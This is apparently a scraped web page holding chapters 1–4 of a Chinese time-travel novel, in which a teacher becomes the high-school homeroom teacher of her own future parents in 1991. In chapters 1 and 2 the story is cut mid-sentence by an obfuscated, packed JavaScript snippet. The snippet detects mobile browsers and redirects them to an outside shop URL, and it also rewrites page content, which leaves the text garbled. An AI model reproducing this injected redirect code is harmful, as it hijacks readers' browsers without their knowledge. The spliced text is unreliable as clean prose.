《当了爸妈的班主任》 1. 第 1 章 “徐老师?徐老师?” 谁在叫她? 声音很年轻,锲而不舍地叫个不停,还带着点焦急,徐嘉禾对这个声音却完全没有印象。 她逼着自己从黑甜的梦境之中醒来,强撑着睁开迷蒙的双眼,见一个圆脸戴眼镜的姑娘正一脸担忧地看着她。 “徐老师,你这一觉睡得可真够沉的,”姑娘见她醒了,松了口气,“下节是你的课啊,你忘了?” 别说下节课是谁的课了,徐嘉禾连自己是谁都快忘了,她在原地宕机了好一会儿,才回忆起自己的生平。 25岁的徐嘉禾,以公费师范生的身份进入锦宁三中任教已经三年了。 她自己对这份工作其实没什么激情,奈何锦宁三中生源好出口也好,徐嘉禾班上的孩子又乖巧,轻轻松松名列前茅。 就这样,命苦的徐嘉禾工作三年,当了三年高三毕业班班主任。 在一个寒风凛冽的冬日清晨,被迫保持了三年高三作息的徐嘉禾,顶着比眼睛还大的黑眼圈,骑着电瓶车前往学校守早自习。 经过路口时,她稍微一个走神,被抢红灯的大运撞了个正着。 大运业绩+1。 然而现在,徐嘉禾发现她的周围既不是医院惨白的天花板和墙壁,也不是想象中死后的虚无,而是一间办公室。 她正趴在一张老式的木头桌子上,桌面划痕累累,上面高高地摞着作业本和试卷,手边一个印着大红牡丹的搪瓷缸子冒着微弱的热气。 徐嘉禾的脸颊正贴着桌面上冰凉的玻璃板,她坐起身,发现玻璃板下面压着杂七杂八的便签纸和几张奖状。 不会吧,难道她在地府也要当班主任?地府也要搞行政工作、上公开课、卷升学率? 这简直是世界上最恐怖的噩梦。 徐嘉禾太阳穴突突直跳:“这是什么地方?” “一觉醒来人睡傻了?”圆脸姑娘瞪大了眼睛,伸手去摸她额头,“也没发烧啊。这里是锦大附中的班主任办公室,你都快睡了一上午了,我看马上要上课了才叫你的。” “刚睡醒有点蒙,”徐嘉禾打着哈哈,掩饰下心底的惊慌,胡乱地抬手去翻桌上的教案,“下节我的课?哪个班的?” 桌上摆着的是语文教案,徐嘉禾在锦宁三中也是语文老师,倒是专业对口。 “自然是高二五班,你是班主任,不是就带他们一个班吗?”圆脸姑娘看她的眼神已经从担忧变成迟疑和警惕了。 她小心翼翼地指了指徐嘉禾桌上的花名册:“徐老师,你一个刚毕业的小姑娘,让你去带五班确实有点为难。压力真这么大,要不,我再陪你去找主任说说?” “没事,不用,我就是昨晚太紧张了,没睡好。”面对完全未知的情况,说不迷茫当然是假的,但徐嘉禾也不敢再问。 难道她真的通过大运转生异世界了? 徐嘉禾这样想着,颤抖着手指,翻开那份手写的班主任工作手册,最顶端蓝色钢笔楷体写着的抬头让她眼前一黑: 锦大附中1991-1992学年高二五班学生名册 徐嘉禾的手指停在1991上,闭眼,睁眼,字迹没有消失。办公室窗外传来嘈杂喊声,是那种校园里才有的、少年活泼的喧哗。 徐嘉禾绝望地望向窗外,透过泛黄的玻璃,她能看见操场上奔跑嬉戏的少年,和推着老式二八大杠自行车的老师们,外面的一切都洋溢着1990年初的活力与希望。 “徐老师?你真的没事吗?”圆脸姑娘担忧地看着她,“你脸色好白。” “没事。”徐嘉禾深吸一口气,强迫自己把目光从那个年份上移开,落在花名册蓝色墨水手写的一个个名字上。 听刚才圆脸姑娘的说法,这个高二五班似乎凶名在外。 俗话说,上辈子杀猪,这辈子教书;上辈子杀人,这辈子教猪。 徐嘉禾上辈子别说没杀人了,她从小到大都是同龄人中的佼佼者,当了老师带的也是最聪明的那批孩子,结果这辈子要面对高二五班这群学生。 不过,虽然她压根儿没接触过差生,但徐嘉禾一向秉持“放下助人情结、尊重他人命运”的心态,把自己分内的事情做好就算。 是以对徐嘉禾来说,当五班的班主任这件事,说难也难,说简单也简单。她打算坚决不多管闲事、节外生枝。 不扶烂泥、不烫死猪、不渡无志、不雕朽木。 主意已定,徐嘉禾叹了口气,低头看那些自己即将要面对的学生的名字。她一行行往下看,一个名字猝不及防地撞进她的眼帘。 徐湛 这不是她爸爸的名字吗? 不会吧,重名而已,徐嘉禾咽了咽口水,努力安慰自己,这名字还挺常见的。 她定了定神,屏住呼吸继续往下看,接着就看到了另外一个更为熟悉的名字。 谢昭 她妈妈的名字,在名单稍微靠后的位置,真真切切的就在那里。 徐嘉禾知道她爸妈是高中同一个班、大学在一起的,但不知道具体在哪一个学校。 1991年,她在心里默默算数,按出生年份算,她的父母确实差不多要在1991年左右上高二。 “五班学生没一个省心的,”圆脸姑娘,徐嘉禾后来知道她是隔壁班的语文老师许晴,还在絮絮叨叨细数五班的累累罪行,“……上学期气走了老刘,这学期开学一个月,又把老王给逼走了。实在没办法,才抓你这个刚毕业的来顶上。” 徐嘉禾正在核对学生个人信息,出生年月、家庭住址,各种信息统统和她所知道的当年的情况吻合。 不是重名,不是巧合。 她,二十五岁的徐嘉禾,在一个寒冷早晨被大运送走,一睁眼,回到了1991年,成了她爹妈的高中班主任。 徐嘉禾缓了缓,努力让自己接受这个现实:“没一个省心的?不能吧。” 无论是谢昭还是徐湛,她印象中高考成绩都相当漂亮。锦大附中也就是个普通高中,以他们两个的成绩,应该是老师的心肝宝贝才对,怎么会被划进不省心的行列? “你别不信,”许晴叹了口气,“在五班,看上去再乖巧无害的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117111|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不是省油的灯。你千万别想着去感化他们,不仅折寿,可能性还几乎为零。” “那谢昭和徐湛,这两个学生怎么样?”徐嘉禾还抱有一丝期待,说不定她妈她爸出淤泥而不染,是五班的一股清流呢? “这两个更是典型中的典型,”许晴推了推眼镜,冷笑连连,“徐湛呢,文章写的漂亮,长得也……咳,上个月还有外校的女生堵到学校来呢,总之是相当受欢迎。” 徐嘉禾在心里稍微松了口气,听起来她爸倒还挺靠谱、挺有人格魅力的。 “但是,”许晴话风一转,“只有语文成绩能看。本来人就比较孤僻,还成天写些酸得不得了的诗和散文……总之,路子相当飘。” 徐嘉禾:“……” 她这个老好人理工男爸爸,年轻的时候原来是这种文艺男子吗? “那谢昭呢?”徐嘉禾问。 “谢昭?我这辈子就没见过她这么野的女孩子,”许晴痛心疾首,“明明挺聪明的,就是不用在正道上。要么逃课,要么上课看武侠小说,在学校顶撞老师,放学组织斗殴,根本不服管。” 徐嘉禾瞪大了眼睛,她记忆里雷厉风行、说一不二、能把她爸和她训得不敢抬头的谢总,在高中居然是个桀骜不驯的叛逆少女? 一个一身反骨叛逆不羁的未来妈,一个浮萍一般忧郁飘忽的未来爹。 徐嘉禾觉得,如果继续这样下去,自己可能真的要完蛋了。 她倒是想像许老师说的那样,放任高二五班的这群学生野蛮生长。 但是按现在的情况来看,谢昭和徐湛绝对没有办法像原来那样考上重点大学,那么他们还会在大学时在一起吗?她徐嘉禾还能正常出生吗? 为了自己的小命要紧,徐嘉禾呕心沥血,也得把谢昭和徐湛带进重点大学的大门。 “徐老师,”许晴看着徐嘉禾的脸色变化可谓是精彩纷呈,没忍住拍了拍她的肩,安慰道,“要我说,你就忍一忍,混到学期末,说不定学校就能拆班或者换人……” 许晴的话还没说完,徐嘉禾下意识一拍桌子,猛地一下站了起来。她动作太急,膝盖哐当一声磕在桌子腿上,疼得龇牙咧嘴,这一下也让她彻底清醒了。 “那可能不太行,”徐嘉禾深吸了一口气,听见自己用一种近乎悲壮的语气说,“这个班,我不仅要管,还是必须得管。” 许晴愣了一下,没想明白这位刚才还脸色惨白、魂不守舍的新同事,为什么忽然间就像下定了某种决心一样,整个人责任心爆棚。 她还想再劝,长而尖锐的上课电铃声却响了起来,刺破了办公室略显沉闷的空气。 “上课了啊,徐老师,那你……你好自为之吧。”许晴同情地看了她一眼,抱着自己的教案匆匆离开了。 徐嘉禾深吸一口气,端起那个颇具年代感的搪瓷缸子,猛灌了一口已经温冷的茶水。苦涩的茶味让她打了个激灵,也压下了心底最后一丝慌乱。 徐嘉禾三年教龄,三年带的都是地狱般的高三。她就不相信,那个传说中的高二五班,真的那么不可救药? 2. 第 2 章 走廊是陈旧的水磨石地面,两侧墙壁下半截刷着暗绿色的油漆,上半截是斑驳掉漆的白色墙面。墙上贴着绿框白底黑色行楷的各类名人名言。 高二五班的门牌就在走廊尽头。 即使已经打了上课铃,教室里仍然吵闹个没完。她隔着门都能听到拍桌子声、桌椅拖动的吱呀声,还有少年人肆无忌惮的笑骂。 这氛围,和她带的那个下课就开始写作业、上课铃一响无论老师在不在、都落针可闻的重点班完全不一样。 徐嘉禾在门口站定,短暂地做了心理准备,推开了门。 喧闹声停了一瞬,几十双眼睛齐刷刷地向前门的方向看,紧接着就又开始自顾自地玩耍起来。 学生们假意对老师视若无睹,实际上在悄悄看徐嘉禾的反应。他们的眼神有好奇的、审视的、打量的、漠然的,还有几个人的眼神带着明显的不屑与挑衅。 徐嘉禾倒也没生气,只是同样好奇地打量着这间教室和这群学生们。 从某种程度上,她反而松了口气。 高二五班这群学生虽然被评价为不乖,但目前看起来对老师还是有一定敬畏在的。 要真是那种连老师也揍的学生,徐嘉禾都不知道自己该怎么办。 教室里的东西,对徐嘉禾来说都和老古董没什么两样。学生们用的是老旧的实木桌椅板凳,墨绿色黑板边缘有些掉漆,边框和黑板几乎要脱离开,用几段沾满粉笔灰的胶带缠着,颤颤巍巍地挂在墙上。 而高二五班的学生,看起来也和锦宁三中的学生完全不同。 1991年,社会风气还算保守,高中男女生统一要求剪头发,五班却是例外,女生有留长发烫卷发的,男生也有梳潮流三七分发型的。 锦宁三中的优等生们虽然一眼就看得出很聪明灵巧,但脸庞都相当稚嫩,让人一看就知道是还没出象牙塔的高中生。 五班的孩子们虽然未成年,眼睛却多是亮亮的,表情生动而鲜明,看起来比现在的大学生还要成熟许多。 徐嘉禾抱着教案走上讲台,也不说话,只是静静地看着底下那群学生,教室里终于渐渐安静下来,不过这种安静,怎么看都不像是出于尊重。 “大家居然这么乖?”徐嘉禾笑眯眯地鼓了鼓掌,“非常好,这说明你们不是瞎子,看得见有个老师走进教室了。” 五班学生们显然对这位新班主任的说话方式颇感意外,教室里响起几声稀稀拉拉、毫不掩饰的嗤笑。 徐嘉禾目光缓缓扫过台下,试图寻找自己熟悉的那两张面孔。 她先看到了徐湛。 老徐同志后来有点发福,还总乐呵呵的,丝毫没有半点现在这位文艺少年的气质。但眼前的徐湛虽然尚年轻,五官和老徐同志的却几乎完全一致,徐嘉禾很容易就认出了对方。 少年坐在窗边,穿着有些宽大的蓝色运动衫外套,正望着窗外的树枝发呆。明媚的日光落在徐湛半边脸上,勾勒出他线条清晰的侧脸和浓密的睫毛。 他有一双很好看的眼睛,瞳孔颜色比常人略浅一些,里面像是蒙着一层薄薄的、永远挥之不去的雾气,沉静而疏离。 好忧郁,好破碎,也好装。 徐嘉禾在内心评价。 她又往另一个方向找去,在教室最后排的角落,找到了谢昭。 眉目凌厉的女孩扎着高高的马尾,几缕的碎发落在颊边,她穿了件白色衬衫配细皮带牛仔裤,袖子随意挽到手肘,露出细瘦的手腕。 此刻的谢昭并没在做什么出格的事,她只是懒洋洋地靠在椅背上,手里转着一支钢笔,眼神毫不避讳地打量着讲台上的新班主任,带着桀骜和挑衅。 虽然五官还带着少女的钝感,但谢昭眉眼间的神采、那种不容人忽视的强势气场,让徐嘉禾隐隐约约看到了未来谢总的影子。 在这个徐嘉禾全然陌生的地方见到自家爸妈——虽然是她同样相当陌生的爸妈——总还是让她心中安稳了不少。 “我叫徐嘉禾,从今天起,是你们的班主任,兼语文老师。”徐嘉禾从一整盒粉笔头里翻了半天,才找出一支相对长一点的。 她转身,在黑板上写下自己的名字,粉笔点在黑板上,发出清脆的嗒嗒声。 下面传来几声意味不明的喝彩与笑声。 徐嘉禾转过身,面不改色:“我知道,在我之前,这个班已经换了好几位班主任;我也知道,在你们眼里,我就是个刚毕业、好欺负的年轻老师。” 这话一出,不少学生脸上都露出了“你知道就好”的表情。 “明人不说暗话,我当老师,也就是给学校打工领工资,”徐嘉禾环视了一圈班级,“你们不想上学,我同样不想上班。” “你们的未来与我无关,但你们的成绩与我工资有关。”她拍了拍手上的粉笔灰,“不要求你们成绩第一,但不能差到让我被领导谈话。否则,领导请我喝茶,我心情不好,也没道理让你们好过。” “当然,你们不给我找麻烦,我不会给你们添堵,不体罚、不占用课余时间、不请家长。在某些非原则性的问题上,我也会睁一只眼闭一只眼。” 这番话着实有些出乎高二五班学生们的意料。 前几任班主任要么要当拯救者,苦口婆心地试图感化他们;要么要当掌权者,咄咄逼人地发怒立威,还从没人开诚布公地跟他们谈交易。 但这种平等相处的方式,似乎更能让这群自诩成熟的学生们听进去。 教室里安静了一瞬,随即一个坐在中间的男生拖长了调子,阴阳怪气地开口:“老师,就我们班这水平,不垫底才奇怪吧?” “有什么奇怪不奇怪的,锦大附中的蠢货,难不成就这么巧,全部集中在了高二五班?”徐嘉禾挑眉,看向那个男生的方向,“你们开学是怎么分班的?” “随机分的班。”同学们你看我我看你,最后还是第一排的一个女孩子回答。 “这不就得了,有那么巧的事?”徐嘉禾笑着看他们,“或者,有谁觉得自己是彻头彻尾的蠢货吗?可以举手让我看一看。” 没人举手,也没人再说话,生怕发出一点声音让徐嘉禾注意到,就被判断为蠢货了。 “不说话,那就是不认。”这样的情况在徐嘉禾的预料之中。这个年龄段的孩子最好面子,应该没谁会伤敌一千自损八百,“既然都不是蠢货,成绩却都那么差,只能说明——” “要么,分班的时候有个神仙预判了所有人未来的成绩,把你们都分到了这个班。” 她停顿了一下,目光缓缓扫过台下每一张年轻而迷茫的脸:“要么,是前面某位老师做了什么事情,导致了所有人破罐子破摔的恶性循环。” 教室里更安静了。 一些原本还嬉皮笑脸的学生,这会儿脸上的笑容也淡了下去,眼神里多了些别的情绪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117112|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我不管过去是什么原因,我只管现在。”徐嘉禾直起身。她本来只是随口一说,但现在看来,她恐怕是猜对了,“最基本的,上课别扰乱秩序,作业别空着不写,考试别抄袭。” “能做到这三条,咱们班在我手里就不会垫底。” “下午还有一节班会,届时我们再继续聊这个问题,”下课铃响,徐嘉禾合上课本,一句废话没有,“现在,下课。” 徐嘉禾端起搪瓷缸子,准备趁着午休的时间,回办公室缓缓神,消化一下这魔幻的现实。 但她刚走下讲台,教室后面就传来了一个她相当熟悉、此刻还带着明显挑衅意味的女声:“徐老师。” 徐嘉禾深吸了一口气,转身。 果然是谢昭。 她抱着手臂向后靠在椅背上,微微偏头,马尾辫梢随着动作轻轻晃动,耳畔花哨嚣张的耳钉在阳光下闪了一下。十七岁的谢昭坐在座位上,只能仰着头看徐嘉禾,但那副傲然的神情,却带着居高临下的审视。 “老师,你刚才说的话,算数吗?”谢昭挑眉,“你会睁一只眼闭一只眼?” 正值午餐时间,但刚下课,教室里还没走的学生占大多数。谢昭第一个开口挑衅新班主任,学生们立刻放慢了动作,竖着耳朵偷听徐嘉禾会如何应对。 徐嘉禾看着浑身是刺的谢昭,忽然有点想笑。 原来被竞争对手评价为口蜜腹剑的谢昭,年轻的时候这么直来直往、锋芒毕露,像只充满生命力的小狮子。 她点点头:“当然算数。” “那好,”谢昭下巴微微一扬,“下午的班会课,我不来了。” “哦?”徐嘉禾心里已经开始尖叫了,面上神色却没变,“你要去哪?” “有点私事,”谢昭嗯嗯啊啊半天也没说出个所以然,只是含糊不清地说,“不劳徐老师操心。” 她不说,徐嘉禾心里也门清。 看来谢大总裁即使是在当不良少女,事业心也颇重,上午还来学校应付一下,下午就准备去征战沙场了。 要是过去的徐嘉禾,或者别的任何老师,被小姑娘这么直接的挑衅,此刻都该血压升高,要么开始唠唠叨叨,要么就要严厉喝止了。 但此刻的徐嘉禾,透过谢昭那双让她再熟悉不过的眼睛,看到的却是自己未来那个叱咤商场、一个眼神就能让下属心惊胆战的妈妈。 “可以。”徐嘉禾点头,在谢昭错愕的目光中,慢条斯理地补充,“不过呢,周中你不在学校,班主任要对学生的安全负责任。” “除非你保证后果完全由你自己承担,绝对不让我这个班主任,被领导或者家长找去谈话。”她看着谢昭的眼睛,“如果牵连到我,我会变得非常、非常难搞。” 谢昭脸上的挑衅僵住了。 她瞪着徐嘉禾,嘴唇抿成一条线。她预想中的愤怒、说教、或者妥协统统都没出现,这种虽然带着点威胁,但是又直言利弊、公事公办的态度,反而让谢昭不习惯。 “……我知道了。”半晌,谢昭从牙缝里挤出几个字,起身走出教室,椅子被往后撞开,发出不小的声响。 徐嘉禾看着谢昭的背影,不以为意地笑了笑。 回到办公室,许晴正在批改作业,见她回来,抬头问:“怎么样?五班那帮小祖宗没干什么坏事吧?” “还好,”徐嘉禾坐下,揉了揉太阳穴,“比我想象中好带多了。” 3. 第 3 章 下午班会课铃声响起时,徐嘉禾抱着一个皮质的笔记本走进了教室。 五班的学生看上去比上午安分了不少,虽然还有人在窃窃私语,不过好歹没有像之前那样对她视若无睹。 谢昭的座位果然空着,徐嘉禾面上没什么反应,心里却还是觉得有点可惜。 不过,要是指望用几句话,就让不良少女迷途知返,确实也有点太理想化了。 思及此,徐嘉禾摇了摇头,没再说什么:“这节班会课,我们主要讨论一件事情,就是下个月的半期考试。” “半期考试?”这个词在高二五班学生们的心里可谓是毫无存在感。这会儿徐嘉禾专门把这件事提了出来,引来学生们一阵嗡嗡的抱怨,“关我们什么事?” “我知道你们不在乎成绩,但我在乎工资,”徐嘉禾用指关节敲了敲讲台,示意学生们安静,“我也管不了每一个人。所以,我们现在要选班委,来协助班级管理。” 学生们交换着眼神,大多是不以为意。 一般老师选班干部,都会选相对乖巧懂事一些的孩子。但这种班干部选出来,在高二五班绝对是来当摆设的,谁当谁倒霉,还容易成为众矢之的。 “我知道你们在想什么,但当班委有坏处,自然也有好处,具体好处我还不能说。”徐嘉禾顿了顿,“所以我也不搞民主那套了,直接指定,有意见可以来找我。” “先说课代表吧,”她说着,转身在黑板上写下“语文课代表”几个字,“我们班语文课代表,由徐湛同学担任,诸君有意见吗?” 底下传来几声压低的笑声,大概是觉得以徐湛的性格好悬能管住班上的同学们。 不过,徐湛的语文成绩很好,这点毋庸置疑,是以也没有人真正出言对此表示反对。 徐湛听到自己的名字,才从冥想里抽离出来,茫然蹙眉看向讲台,显然对徐嘉禾这一决定毫无准备,也并无兴趣。 他沉默地与徐嘉禾对视了几秒,然后回头,继续看着窗外装死。 管他装死还是真死,没反对,那就是默认了。 徐嘉禾松了口气,还好她爹还挺给她这个当老师的面子的。 之后,徐嘉禾逐一宣布了其他科目的课代表,都是根据上学期成绩选出来的。 虽说是所谓的课代表,但除了徐湛之外,其他人也就是矮子里面拔高个。 比如物理课代表,小姑娘上学期期末考了三十来分,已经是全班断层第一了。 被选中的学生大多对此颇为意外,但在徐嘉禾的威逼利诱下,还是勉强接受了。 “那么最后,”徐嘉禾将粉笔头抛进桌上的纸盒子里,“最重要的职位,班长——” 后门“哐当”一声,被人不太客气地推开了。 教室里的人齐刷刷回头看去,全班人的目光,都集中在了一只手还搭在门框上、微微喘着粗气的少女身上。 看样子,谢昭应该是跑回来的,脸颊还泛着剧烈运动的红晕,马尾也有些散了,几缕碎发贴在汗湿的额角。她白衬衫最上面两颗纽扣解开,露出了形状漂亮的锁骨。 徐嘉禾的声音戛然而止,教室里一片寂静,只有谢昭略带急促的呼吸声。 徐嘉禾有些疑惑地看着谢昭,谢昭也紧紧抿着唇、看着她。 谢昭这一出,虽然打断了原本班会课的进行,她面上的表情却有些复杂,不像是在故意挑衅。 看着她这幅略显狼狈的模样,徐嘉禾心里居然浮上了个堪称荒谬的猜测。 难不成,谢昭这样匆匆跑回来,是专门为了赶上班会课? “报告。”谢昭喘匀了气,出声打破了沉默。实话说,态度说不上有多认真,但好歹是走了流程。 她没等徐嘉禾回应,就一边咬着皮筋、将自己松了的马尾重新扎紧,一边向自己的座位走去。 “谢昭同学回来得正好,”徐嘉禾也没生气,用指关节轻轻敲了敲讲台,将同学们的注意力拉回来,“刚才说到哪儿了?哦,我们班的班长人选。” 她看向少女的方向,谢昭扎头发的动作一顿,对上徐嘉禾的眼神,忽然有一种不祥的预感。 “那么,”徐嘉禾笑得眉眼弯弯,冲谢昭点了点头,“高二五班的班长,由谢昭同学担任,怎么样?” 这话一出,教室里又足足安静了三秒,紧接着爆发了一片抽气声和嗡嗡的议论声。 连一直一副不食人间烟火模样的徐湛,都惊讶地转过头,顺着徐嘉禾的眼神,看向坐在后门那个张扬的少女。 “我?”谢昭本人瞪大了眼睛,不可置信地看着徐嘉禾,显然没料到这一出,“干嘛,凭什么?” 徐嘉禾就知道大家会是这个反应,她双手往下压了压,示意学生们安静下来。 “理由呢,主要有三点,”徐嘉禾不紧不慢地开口,“其一,在我们班,谢昭同学说话最管用。这一点,大家心里应该都有数。” “其二,”徐嘉禾竖起两根手指,“她行动力强、有主见。管理班级,正好需要这样敢做事的人。” “徐老师,你把事情想得太美好了,”谢昭冷笑一声,打断了徐嘉禾的话,“我没那么多闲功夫去管别人。” 徐嘉禾实在没忍住想笑:“这正是我要说的第三点。” 没那么多闲功夫管别人的谢昭,要是知道自己长大之后手下管着几百上千号人,心里该作何感想。 “班会不是正课,你完全可以直接在外面待到放学,”她轻轻咳了两声,压下唇角的笑意,坦然迎上谢昭的眼神,“虽然不知道是不是因为我早上说的那些话,但总之,你回来了,说明你很有责任心。” 谢昭张了张嘴想反驳,却发现自己找不到合适的理由。 “反正,”她最后只是硬邦邦地说,别过头不看徐嘉禾,“这个班长我不当。” “好吧,”徐嘉禾心平气和,“看来,我们谢昭同学对于要管理好班上的同学们这件事,没什么信心。” 这话一听就是激将法,还是毫不掩饰、以至于显得有些拙劣的激将法。 但用在刚满十七岁、心高气傲的谢昭身上,可谓是效果拔群。 “什么叫没信心啊,当就当。”谢昭咬牙,抬着下巴看徐嘉禾,“丑话说前头,我没经验,要是管出问题,你可别怪我。” “自然不会,出事了我给你兜着。”徐嘉禾要的就是这个效果。她忍不住在心中感叹,果然还是小孩子,居然一激就上钩,“那么,这件事就这样说定了。” 放学铃声响起,徐嘉禾刚宣布下课,学生们就拎着包,嬉笑打闹着冲出教室门。 转眼间,教室里就空了大半。 徐湛收拾书的动作很慢,经过讲台时,他看了徐嘉禾一眼,似乎想说什么,但最终只是叹了口气,抱着书离开了。 教室里很快只剩下徐嘉禾,和还坐在后排、一脸不爽地看着徐嘉禾的谢昭。 徐嘉禾走到谢昭面前,拉过前面同学的椅子坐下:“怎么?生我的气啊?” “……没有。”谢昭咬牙。 “我又不瞎,”徐嘉禾笑了笑,“选你当班长,主要是对我有好处,但对你也有好处。” “对我能有什么好处?”谢昭嗤笑,“这不是纯给我添麻烦吗?” “锻炼能力啊,以后……”徐嘉禾把“以后管公司能有经验”给咽了回去,“以后干点什么都能有经验。再说了,你真甘心一直像现在这样?我看你挺聪明的。” 谢昭没接话,她沉默了半晌,只是抓起书包甩到肩上:“没别的事,我走了。” 徐嘉禾看着谢昭的背影,摇了摇头,没有再说什么。她收拾好东西,最后一个离开教室,往学校自行车棚的方向走去。 夕阳将校园染成温暖的橘色,这个时间点,学校里已经没 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女孩子们态度似乎有些热情得过头,一边说着什么,一边还拿了大概是信封之类的东西,硬塞到了他手里。徐湛眉头皱得更紧了,也不说话,只是努力把被塞进手里的书和信往回推。 “徐湛,我们跟你说话呢,装什么哑巴啊?”来回推搡几次,女孩子们终于彻底失去了耐心。一个烫着卷发的漂亮女生一边说着,伸手就想去拉徐湛的胳膊。 徐湛后退一步躲开她的手,声音清冷:“我不认识你们,请让开。” 徐嘉禾这下是真看不下去了。 别说徐湛还是自己年轻时的爹了,眼看着自己学生被人堵着调戏,她个做班主任的还能忍吗? 她刚要上前,巷子口却传来一声清脆而又带着些不耐烦的呵斥。 “你们几个,哪个学校的?放学不回家,堵我们班同学干什么?” 徐嘉禾一惊,刚迈出去的步子收了回来。她循声望去,只见谢昭单肩背着书包,一只手插在牛仔裤口袋里,正一脸不耐地站在那里。 徐湛原本抿着唇、紧紧抓着书包带,一副生无可恋的样子。看到来的人居然是谢昭,他眼睛都亮了亮,默默往谢昭的方向挪了一小步。 那三个女生被谢昭的气势唬住了片刻,但看到对面只有她一个人,大家又都是女生,便很快恢复了镇定。 卷发女生上前一步:“关你什么事?我们找徐湛,又不是找你。” “怎么不关我事?”谢昭将徐湛稍微往后挡了挡。她恨铁不成钢地回头看了眼低着头的人,转过身向女生说,“我是他的班长,徐湛是我们班的同学,就该归我管。” ……班长这个身份,原来是用在这里的吗? “班长?”女孩子们半信半疑地看着气质比她们还像不良少女的谢昭。 “不对,”旁边一个短发的女孩子上下打量了她一会儿,忽然像想起来了什么似的,扯了扯卷发女孩的衣服,压低了声音,“她是锦大附中那个谢昭,听说挺厉害的……” 谢昭这个名头,显然要比什么班长更响亮一点。卷发女孩脸色微变,却还是嘴硬:“谢昭怎么了?我们这么多人,难不成还打不过她一个……” “怎么,想打架啊?”谢昭闻言挑了挑眉,反而笑了,那笑容颇有些张狂的痞气,“要试试吗?我奉陪。” 她说着,左右环视了一圈,看样子居然已经开始找趁手的武器了。最后,她把目标锁定在了角落的半块断砖上,弯腰捡起,在手里掂了掂。 “姐,咱真的要跟她打吗?”眼看谢昭一副真要动手的架势,短发女生后退一步,小声道,“为个男的而已,没必要吧……” “有什么了不起的,”卷发女生其实也有点发怵。此刻有了台阶下,她立马狠狠瞪了谢昭一眼,撂了句狠话走人了,“有本事你就给我等着,我们走。” 4. 第 4 章 空气突然安静下来,巷子里一时间只剩下三个人:谢昭,徐湛,和躲在墙后、看完全程的徐嘉禾。 谢昭看着几人匆匆逃离的背影,嗤笑了一声,将砖头扔回原处,拍了拍手上沾着的灰。 她回头看向徐湛,眉头又皱了起来:“你能不能有点用?我就不明白了,你不动手就算了,傻站着干嘛?跑也不会?” 徐湛嘴唇动了动,徐嘉禾猜,他应该是想说自己并非真的无力反抗。但最终,他只是看着谢昭的眼睛,声音有些闷闷的:“她们堵着路,我没地方跑。” “那你不会喊人?”谢昭简直要被徐湛这幅不愠不火的样子气笑了,毫不客气地翻了个白眼,“知道自己长这张脸会惹麻烦,就要学着硬气点。” “下次再有人堵你,你就直接动手,实在打不过就喊救命,喊到有人来救你为止,懂了吗?” 徐湛乖乖点头,弯腰去捡自己刚才因为推搡、掉在地上的几本书。 “捡这个干嘛?”谢昭一眼就看到了混进书本之间的情书。她眼疾手快地将那个信封抽出来撕成碎片,随手扔进旁边的垃圾堆,“还不扔了,看了伤眼睛。” 谢昭的语气着实不算好,行为也相当不客气。徐湛愣了愣,低头看了看地上的信,又抬头看向谢昭。 谢昭被他盯着看,似乎也觉得自己有点太强势了,顿时有些不自在起来。 她扔下一句“自己之后小心点”,转身就要走。 “谢昭。”徐湛忽然开口。 谢昭脚步一顿:“又怎么了?” “谢谢你,”徐湛的声音很低,但很清晰。他顿了顿,又补了一句,“……班长。” 谢昭的身影很明显僵硬了一下,她没回应,继续往前走。 走了两步,她发现徐湛还站在原地看着她没动弹,又停下,不耐烦地回头:“愣着干嘛?赶紧回家啊,难不成真的等着她们找了人杀回来?” 直到看到谢昭和徐湛的身影彻底消失在小巷的尽头,徐嘉禾才松了口气,推着自行车走出来。 校门口还剩下零星几个摊贩,正值饭点,徐嘉禾没打算立刻回家,就在巷口推着三轮车卖铁皮串串的大姨那里买了些吃的垫肚子。 她推着自行车过去,颇为新奇地打量着这个小摊。改装过的三轮车旁边支着蜂窝煤炉子,一口铝皮锅里烫着各式各样的串串,土豆、藕、莴笋叶、木耳、兔腰等等菜色在红汤锅里翻滚。 “妹妹,想吃什么跟我说,”摊主热情地招呼,“素的一毛五,荤的两毛五。” 徐嘉禾应了一声,随便选了几串付了钱。她拿串串蘸了锅旁边盘子里的辣椒面,一边推着车往外走,一边小口小口吹着吃。 她沿路打听,靠着几个没有变化的标志性建筑确定了自己的位置,沿着大概方向,往档案上的地址走去。 九十年代初的锦宁,没有高楼林立、车水马龙,街道两旁多是低矮的平房和黛瓦青砖。街上虽然已经有很多汽车公交车,但自行车仍然是主流。 踏进院子,徐嘉禾恍然间,竟有种回到童年住地的感觉。 眼前是一片看起来建成不久的单位分配房,空中是缠绕的电线,楼下空地拉了绳索晾衣服。孩子们在院子里追逐打闹,整个院坝都充满了鲜活嘈杂的市井气息。 窄小的楼道里堆放着一些杂物,墙面斑驳掉皮。徐嘉禾爬到三楼,从小包里摸出一串钥匙,试了两把,终于打开了那扇刷着暗绿色油漆的木门。 一股淡淡的味道扑面而来,有些奇怪,但不算难闻。 房子不大,大约五六十平米,家具也相当简单,但收拾得很整洁。她放下手里的包,推开木框窗户,傍晚带着凉意的风吹了进来,稍微驱散了屋内的灰土气息。 